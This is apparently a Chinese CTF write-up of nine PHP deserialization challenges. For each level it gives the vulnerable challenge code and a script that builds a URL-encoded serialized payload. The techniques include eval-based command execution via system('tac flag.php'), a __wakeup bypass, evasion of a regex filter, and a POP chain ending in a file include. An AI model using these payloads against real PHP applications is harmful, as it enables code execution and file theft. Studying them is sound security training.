news 2026/4/23 15:49:36

CTF+ 反序列化php-ser-libs-level1~9

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF+ 反序列化php-ser-libs-level1~9
1. php-ser-libs-level1

题目代码

<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__); class a{ var $act; function action(){ eval($this->act);//关键点 } } $a=unserialize($_GET['flag']); $a->action(); ?>

构造:

<?php class a{ var $act; } $a=new a(); $a->act="system('tac flag.php')"; echo urlencode(serialize($a)); ?>

执行成功就可以得到flag

2. php-ser-libs-level2

在php4中var是用来声明类的属性(成员变量),等同于php5中的public

<?php include("flag.php"); highlight_file(__FILE__); include("flag.php"); class mylogin{ var $user; var $pass; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; } function login(){ if ($this->user=="daydream" and $this->pass=="ok"){//这是关键点,要将daydream赋值给user,将ok赋值给pass return 1; } } } $a=unserialize($_GET['param']); if($a->login()) { echo $flag; } ?>

构造:

<?php class mylogin{ public $user; public $pass; } $a=new mylogin(); $a->user="daydream"; $a->pass="ok"; echo urlencode(serialize($a)); ?> 运行结果:O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D

运行成功后得到flag

3. php-ser-libs-level3

题目代码

<?php include("flag.php"); highlight_file(__FILE__); include("flag.php"); class mylogin{ var $user; var $pass; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; } function login(){ if ($this->user=="daydream" and $this->pass=="ok"){ return 1; } } } $a=unserialize($_COOKIE['param']);//传参方式为cookie传参 if($a->login()) { echo $flag; } ?>

执行的payload和上题一样

4. php-ser-libs-level5
<?php class secret{ public $file='index.php'; public function __construct($file){ //构造函数,创建对象时设置file属性 $this->file = $file; } public function __destruct(){ //析构函数,对象销毁时自动调用 include($this->file);//关键点,包含指定文件 if($flag != null){ //这里是检查包含文件后是否存在$flag变量 echo "<br>flag: ".$flag; }else{ echo "sorry, flag not found"; } } public function __wakeup(){//wakeup方法,反序列化时立即调用 $this->file='fakeflag.php';//执行后会将file属性重置为‘fakeflag.php’,这就需要进行绕过 } } $cmd=$_GET['cmd']; if (!isset($cmd)) echo show_source(__FILE__); else { if (preg_match('/[oc]:\d+:/i',$cmd)){//正则过滤:过滤了序列化开头的固定格式,且不区分大小写 echo "Are you daydreaming?"; } else{ unserialize($cmd); } } //secret in flag.php ?>

(preg_match('/[oc]:\d+:/i',$cmd)){ 过滤了序列化开头的固定格式

举个例子:

对象序列化:O:8:"ClassName" 中的 O:数字,自定义序列化:C:8:"ClassName" 中的 C:数字,这个可以利用O:+数字进行绕过

接着是绕过wakeup方法,这里要绕过_wakeup()方法,当序列化字符串中表示的对象属性数量大于实际类的属性数量时,__wakeup() 方法不会被调用,所以将1改成2进行绕过

然后就是进行url编码

<?php class secret{ public $file; } $a=new secret(); $a->file="flag.php"; $b=serialize($a); //O:6:"secret":1:{s:4:"file";s:8:"flag.php";} $c=str_replace(':6',':+6',$b); $c = str_replace('1:{', '2:{', $c); echo urlencode($c); ?> 执行结果:O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

得到flag

5. php-ser-libs-level6

题目代码

这里是设置了一个私有属性$comm,用于存储命令,私有属性不能再类的外部直接进行访问

<?php class secret{ private $comm = "system('ls');";//system('cat flag.php'); } $a= new secret(); echo urlencode(serialize($a)); ?>

读取flag成功后,flag在源代码中

6. php-ser-libs-level7

题目代码:

<?php include("flag.php"); highlight_file(__FILE__); class you { private $body; //私有属性,用于存储对象 private $pro=''; //私有属性,用于存储方法名 function __destruct()//析构函数,对象销毁时自动调用 { $project=$this->pro; $this->body->$project();//触发my类中的call方法 } } class my { public $name; function __call($func, $args)//call方法,当调用不存在的方法时触发,you类中的$project()是一个不存在的方法 { if ($func == 'yourname' and $this->name == 'myname') { //if语句判断,检查方法名是否为yourname,name属性是否为myname include('flag.php'); echo $flag; } } } $a=$_GET['a']; unserialize($a); ?>

解题思路:

设置you->body为my对象,去触发my类,设置pro为yourname,在my类中设置name=myname

<?php class you { private $body; private $pro = 'yourname'; function __construct(){ //每次创建新对象时先调用此方法 $this->body=new my(); } } class my { public $name = 'myname'; } $a=new you(); echo urlencode(serialize($a)); ?>

7. php-ser-libs-level8

题目代码:

<?php include("flag.php"); highlight_file(__FILE__); function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hack",$name); return $name; } class test{ var $user; var $pass='daydream'; function __construct($user){ $this->user=$user; } } $param=$_GET['param']; $profile=unserialize(filter($param)); if ($profile->pass=='escaping'){ echo file_get_contents("flag.php"); } ?>

非预期:

让pass的值直接等于escaping来执行if判断,输出flag

<?php class test{ var $user; var $pass; } $a=new test(); $a->pass='escaping'; echo urlencode(serialize($a)); ?>
8. php-ser-libs-level9

题目代码:

<?php //flag is in flag.php include("flag.php"); highlight_file(__FILE__); class Modifier { private $var; public function append($value) { include($value); echo $flag; } public function __invoke(){ //__invoke魔术⽅法是对象被当做函数进⾏调⽤的时候所触发(类似$a()这种) $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){ //当对象被当成字符串的时候进行调用 return $this->str->source; } public function __wakeup(){ //反序列化执行时立即调用,这是入口点 echo $this->source; } } class Test{ public $p; public function __construct(){ //构造函数,每次创建新对象时先调用此方法 $this->p = array(); } public function __get($key){ //当从不可访问的属性读取数据时触发 $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ unserialize($_GET['pop']); } ?>

代码分析:首先从__wakeup()触发,在Show类中__wakeup()中的echo $this->source触发Show类__toString()方法,在Show类中的$this->str->source会触发Test类中的__get()方法,Test类中__get()中$function()触发__invoke(),然后__invoke()调用append()包含flag.php

该题中的__wakeup()方法正是我们需要的入口点,而不是需要绕过的障碍,所以不需要进行绕过wakeup方法

<?php class Modifier{ private $var="flag.php"; public function __construct() { //这是私有属性,不能再外部进行访问,所以在类里面进行访问 $this->var = "flag.php"; } } class Show{ public $source; public $str; } class Test{ public $p; } $a=new Modifier; $b=new Show; $c=new Test; $b->source=$b; $b->str=$c; $c->p=$a; echo urlencode(serialize($b)); ?> 执行结果:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 11:34:40

程序员不怕BUG,怕的是老到没人要

一、跨年夜的生产环境&#xff1a;当所有人都在庆祝&#xff0c;只有你在值班最后一个需求终于上线了。办公室里只剩下你和服务器指示灯交替闪烁。手机屏幕上&#xff0c;朋友圈正在进行一场盛大的跨年直播——海岛的日落、山顶的日出、家庭的团聚、情侣的拥吻。而你&#xff0…

作者头像 李华
网站建设 2026/4/23 11:50:22

Java毕设项目推荐-基于SpringBoot的房屋租赁系统的设计与实现房屋信息、预约看房管理、合同信息管理、房屋报修管理、房屋评价管理【附源码+文档,调试定制服务】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/4/23 11:50:13

北京固定种植牙多少钱一颗

北京固定种植牙多少钱一颗在现代口腔医学中&#xff0c;种植牙已成为修复缺失牙齿的首选方法之一。对于许多患者来说&#xff0c;选择合适的种植牙不仅关系到口腔健康&#xff0c;还涉及到经济成本。在北京这样一个大城市&#xff0c;固定种植牙的价格因多种因素而异。本文将为…

作者头像 李华
网站建设 2026/4/23 17:11:54

命运的齿轮开始转动:一名普通工程师 AI 转型一年

一名普通工程师 AI 转型一年&#xff0c;这是我对 2025 年 AI 技术学习与实践的一次完整复盘。 一转眼2025已又到尾声&#xff0c;去年11月一次偶然的事件似乎正在悄悄改变我的职业规划&#xff0c;命运的齿轮开始转动&#xff0c;从此开启了魔幻之路&#xff0c;从一名普通码…

作者头像 李华
网站建设 2026/4/23 18:54:30

【汉字拼音与语义关联】

汉字拼音与语义关联 "Tuan"在汉语拼音中对应两个常用汉字&#xff1a;“团"和"湍”。"团"表示集体或圆形物体&#xff0c;"湍"描述水流急速的状态。这种同音异义现象体现了汉语通过音调区分语义的特性。 双结构链路设计原理 语言文字符…

作者头像 李华
网站建设 2026/4/23 11:34:08

SSH免密登录Miniconda容器进行长期模型训练监控

SSH免密登录Miniconda容器进行长期模型训练监控 在AI模型训练日益复杂和漫长的今天&#xff0c;一个稳定、可复现且易于维护的远程开发环境已成为科研与工程团队的核心需求。当你的训练任务跑上三天三夜时&#xff0c;你最不想遇到的就是&#xff1a;SSH连接中断导致进程挂掉、…

作者头像 李华